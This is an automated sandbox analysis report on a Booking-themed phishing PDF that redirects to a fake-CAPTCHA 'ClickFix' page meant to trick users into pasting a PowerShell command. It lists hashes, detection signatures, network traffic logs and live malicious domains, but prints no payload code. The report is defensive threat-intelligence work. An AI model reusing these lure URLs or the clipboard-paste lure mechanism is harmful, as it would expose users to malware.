Edit tour

Windows Analysis Report
gj2tWCRpMS.pdf

Overview

General Information

Sample name:	gj2tWCRpMS.pdf renamed because original name is a hash value
Original sample name:	2ad342e7ad2dc10f94f1161b04263ca05e3d552ffb4ffad07364cfef62ea01f0.pdf
Analysis ID:	1592942
MD5:	d237ffc002f994f9c28f04a9648742ab
SHA1:	7973fc7e825f9824878a1e887a2c70a7e14d2ce4
SHA256:	2ad342e7ad2dc10f94f1161b04263ca05e3d552ffb4ffad07364cfef62ea01f0
Tags:	bookingItalianPastapdfuser-JAMESWT_MHT
Infos:

Errors Corrupt sample or wrongly selected analyzer.

Detection

CAPTCHA Scam ClickFix

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Detect drive by download via clipboard copy & paste

Suricata IDS alerts for network traffic

Yara detected CAPTCHA Scam ClickFix

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

AI detected suspicious URL

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Drops PE files

Drops PE files to the windows directory (C:\Windows)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PDF has an OpenAction (likely to launch a dropper script)

PE file contains more sections than normal

PE file contains sections with non-standard names

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 5172 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\gj2tWCRpMS.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7132 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7324 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1600,i,12659768028170617857,11342452136795064778,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 3084 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://clintonmakes.com/215c/#lq8k93t1ixr" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4552 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=2008,i,14152893452588016740,6303475695145391616,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_286	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

HTML

Source	Rule	Description	Author	Strings
2.1.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

Suricata Signatures

ETPRO MALWARE Observed ClickFix Powershell Delivery Page Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-16T17:20:27.241086+0100	2859486	1	A Network Trojan was detected	172.67.168.162	443	192.168.2.6	49763	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://fixecondfirbook.info/

Joe Sandbox AI: Score: 9 Reasons: The brand 'Booking' is well-known and is associated with the legitimate domain 'booking.com'., The URL 'fixecondfirbook.info' does not match the legitimate domain 'booking.com'., The URL contains suspicious elements such as misspellings and unusual domain extension '.info'., The domain name 'fixecondfirbook.info' does not have any clear association with the brand 'Booking'., The presence of unrelated or misspelled words in the domain name is a common phishing tactic. DOM: 2.1.pages.csv

Yara detected CAPTCHA Scam ClickFix

Source: Yara match	File source: 2.1.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_286, type: DROPPED

AI detected landing page (webpage, office document or email)

Source: PDF document

Joe Sandbox AI: PDF document contains prominent button: 'view complaint'

AI detected suspicious Javascript

Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://clintonmakes.com/215c/#lq8k93t1ixr... This script demonstrates high-risk behavior, including dynamic code execution and data exfiltration. It attempts to redirect the user to an untrusted domain, which is a strong indicator of malicious intent.
Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://fixecondfirbook.info/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The `copyToClipboard()` function generates a command that could be used for malicious purposes, and the script also manipulates the DOM to hide the reCAPTCHA checkbox and display a custom SVG element. These behaviors, combined with the suspicious intent and lack of transparency, indicate a high-risk script that should be further investigated.

AI detected suspicious URL

Source: URL	Joe Sandbox AI: AI detected Brand spoofing attempt in URL: https://fixecondfirbook.info
Source: URL	Joe Sandbox AI: AI detected Typosquatting in URL: https://fixecondfirbook.info

Source: https://fixecondfirbook.info/

HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49751 version: TLS 1.2

Source:

Binary string: Google.Widevine.CDM.dll.pdb source: Google.Widevine.CDM.dll.11.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2859486 - Severity 1 - ETPRO MALWARE Observed ClickFix Powershell Delivery Page Inbound : 172.67.168.162:443 -> 192.168.2.6:49763

Source: global traffic	TCP traffic: 192.168.2.6:57920 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.6:56922 -> 162.159.36.2:53

Source: Joe Sandbox View	IP Address: 104.21.94.195 104.21.94.195
Source: Joe Sandbox View	IP Address: 172.67.168.162 172.67.168.162
Source: Joe Sandbox View	IP Address: 66.63.187.216 66.63.187.216

Source: Joe Sandbox View

JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.10

Source: global traffic	HTTP traffic detected: GET /215c/ HTTP/1.1Host: clintonmakes.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639329_16GDTY03HO5SY2UBG&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239405475856_1F6V8529RVRKMO1TM&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639330_1D80T5H13WVAODNQ8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239405475857_1HVCAGG6HX6F987D5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402415503_1IET5OVL073FDA0RX&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402415504_17DDWI2WCHUD2N4TB&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bookid82291 HTTP/1.1Host: minedudiser.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: http://clintonmakes.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: fixecondfirbook.infoConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: http://clintonmakes.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /languageRevert.js HTTP/1.1Host: fixecondfirbook.infoConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://fixecondfirbook.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /captchaHandler.js HTTP/1.1Host: fixecondfirbook.infoConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://fixecondfirbook.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1Host: q-xx.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fixecondfirbook.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /languageRevert.js HTTP/1.1Host: fixecondfirbook.infoConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /captchaHandler.js HTTP/1.1Host: fixecondfirbook.infoConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: fixecondfirbook.infoConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fixecondfirbook.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1Host: q-xx.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: fixecondfirbook.infoConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /send-ip HTTP/1.1Host: fixecondfirbook.infoConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /215c/ HTTP/1.1Host: clintonmakes.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: f5510ad44=0ad448213ea0
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: clintonmakes.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://clintonmakes.com/215c/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: clintonmakes.com
Source: global traffic	DNS traffic detected: DNS query: minedudiser.com
Source: global traffic	DNS traffic detected: DNS query: fixecondfirbook.info
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: q-xx.bstatic.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Source: unknown

HTTP traffic detected: POST /send-ip HTTP/1.1Host: fixecondfirbook.infoConnection: keep-aliveContent-Length: 0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://fixecondfirbook.infoSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://fixecondfirbook.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 16 Jan 2025 16:21:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: ExpressContent-Security-Policy: default-src 'none'X-Content-Type-Options: nosniffcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8Tyiuo8zwHWwDY%2FbIr5KABFcH37X5Dlahf6lFPdTdsHJzhPya1Tt1aiVxNSBoSXNMazKSDkNxZyBFuQ3fEeGbgHCKIFrJfPUV5lM5Vrrwu1VhFbAnMxxV1LjubVN1YvrB5Bg9WmC9Q%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 902f70afba8bac1e-YYZalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=13741&min_rtt=13733&rtt_var=5166&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2852&recv_bytes=929&delivery_rate=211594&cwnd=32&unsent_bytes=0&cid=c1131629b2014339&ts=1409&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 16 Jan 2025 16:20:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedserver: Apache/2.4.37 (Rocky Linux)Content-Encoding: gzipData Raw: 61 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d ce 4d 0f 82 30 0c 06 e0 bf 52 b9 4b d1 70 6c 76 90 8f 48 82 48 cc 38 78 c4 ac 04 12 64 c8 86 c6 7f ef 74 17 2f 4d da f7 c9 9b d2 26 3d 27 f2 5a 67 70 94 a7 12 ea e6 50 16 09 04 5b c4 22 93 39 62 2a 53 9f ec c3 08 31 ab 02 41 bd bd 8f 6e 72 ab 04 d9 c1 8e 2c e2 28 86 4a 5b c8 f5 3a 29 42 7f 24 f4 e4 a6 d5 db f1 9d f8 13 6e a3 59 c8 9e 61 e1 c7 ca c6 b2 82 e6 52 c2 ab 35 30 39 d6 7d 19 e8 09 6c 3f 18 30 bc 3c 79 09 09 67 57 ea eb f0 f7 04 7c 00 b6 fe c5 76 be 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a8MM0RKplvHH8xdt/M&='ZgpP["9b*S1Anr,(J[:)B$nYaR509}l?0<ygW\|v0

Source: Google.Widevine.CDM.dll.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Google.Widevine.CDM.dll.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Google.Widevine.CDM.dll.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: Google.Widevine.CDM.dll.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Google.Widevine.CDM.dll.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Google.Widevine.CDM.dll.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Google.Widevine.CDM.dll.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: Google.Widevine.CDM.dll.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Google.Widevine.CDM.dll.11.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: Google.Widevine.CDM.dll.11.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: Google.Widevine.CDM.dll.11.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: Google.Widevine.CDM.dll.11.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: Google.Widevine.CDM.dll.11.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Google.Widevine.CDM.dll.11.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: sets.json.11.dr	String found in binary or memory: https://07c225f3.online
Source: sets.json.11.dr	String found in binary or memory: https://24.hu
Source: sets.json.11.dr	String found in binary or memory: https://aajtak.in
Source: sets.json.11.dr	String found in binary or memory: https://abczdrowie.pl
Source: sets.json.11.dr	String found in binary or memory: https://alice.tw
Source: sets.json.11.dr	String found in binary or memory: https://ambitionbox.com
Source: sets.json.11.dr	String found in binary or memory: https://autobild.de
Source: sets.json.11.dr	String found in binary or memory: https://baomoi.com
Source: sets.json.11.dr	String found in binary or memory: https://bild.de
Source: sets.json.11.dr	String found in binary or memory: https://blackrock.com
Source: sets.json.11.dr	String found in binary or memory: https://blackrockadvisorelite.it
Source: sets.json.11.dr	String found in binary or memory: https://bluradio.com
Source: sets.json.11.dr	String found in binary or memory: https://bolasport.com
Source: sets.json.11.dr	String found in binary or memory: https://bonvivir.com
Source: sets.json.11.dr	String found in binary or memory: https://bumbox.com
Source: sets.json.11.dr	String found in binary or memory: https://businessinsider.com.pl
Source: sets.json.11.dr	String found in binary or memory: https://businesstoday.in
Source: sets.json.11.dr	String found in binary or memory: https://cachematrix.com
Source: sets.json.11.dr	String found in binary or memory: https://cafemedia.com
Source: sets.json.11.dr	String found in binary or memory: https://caracoltv.com
Source: sets.json.11.dr	String found in binary or memory: https://carcostadvisor.be
Source: sets.json.11.dr	String found in binary or memory: https://carcostadvisor.com
Source: sets.json.11.dr	String found in binary or memory: https://carcostadvisor.fr
Source: sets.json.11.dr	String found in binary or memory: https://cardsayings.net
Source: sets.json.11.dr	String found in binary or memory: https://chatbot.com
Source: sets.json.11.dr	String found in binary or memory: https://chennien.com
Source: sets.json.11.dr	String found in binary or memory: https://citybibleforum.org
Source: sets.json.11.dr	String found in binary or memory: https://clarosports.com
Source: gj2tWCRpMS.pdf	String found in binary or memory: https://clintonmakes.com/215c/#lq8k93t1ixr)
Source: sets.json.11.dr	String found in binary or memory: https://clmbtech.com
Source: sets.json.11.dr	String found in binary or memory: https://closeronline.co.uk
Source: sets.json.11.dr	String found in binary or memory: https://clubelpais.com.uy
Source: sets.json.11.dr	String found in binary or memory: https://cmxd.com.mx
Source: sets.json.11.dr	String found in binary or memory: https://cognitive-ai.ru
Source: sets.json.11.dr	String found in binary or memory: https://cognitiveai.ru
Source: sets.json.11.dr	String found in binary or memory: https://commentcamarche.com
Source: sets.json.11.dr	String found in binary or memory: https://commentcamarche.net
Source: sets.json.11.dr	String found in binary or memory: https://computerbild.de
Source: sets.json.11.dr	String found in binary or memory: https://content-loader.com
Source: sets.json.11.dr	String found in binary or memory: https://cookreactor.com
Source: sets.json.11.dr	String found in binary or memory: https://cricbuzz.com
Source: sets.json.11.dr	String found in binary or memory: https://css-load.com
Source: sets.json.11.dr	String found in binary or memory: https://deccoria.pl
Source: sets.json.11.dr	String found in binary or memory: https://deere.com
Source: sets.json.11.dr	String found in binary or memory: https://desimartini.com
Source: sets.json.11.dr	String found in binary or memory: https://dewarmsteweek.be
Source: sets.json.11.dr	String found in binary or memory: https://drimer.io
Source: sets.json.11.dr	String found in binary or memory: https://drimer.travel
Source: sets.json.11.dr	String found in binary or memory: https://economictimes.com
Source: gj2tWCRpMS.pdf	String found in binary or memory: https://edition.cnn.com/#8frfajpc53lqy)
Source: sets.json.11.dr	String found in binary or memory: https://een.be
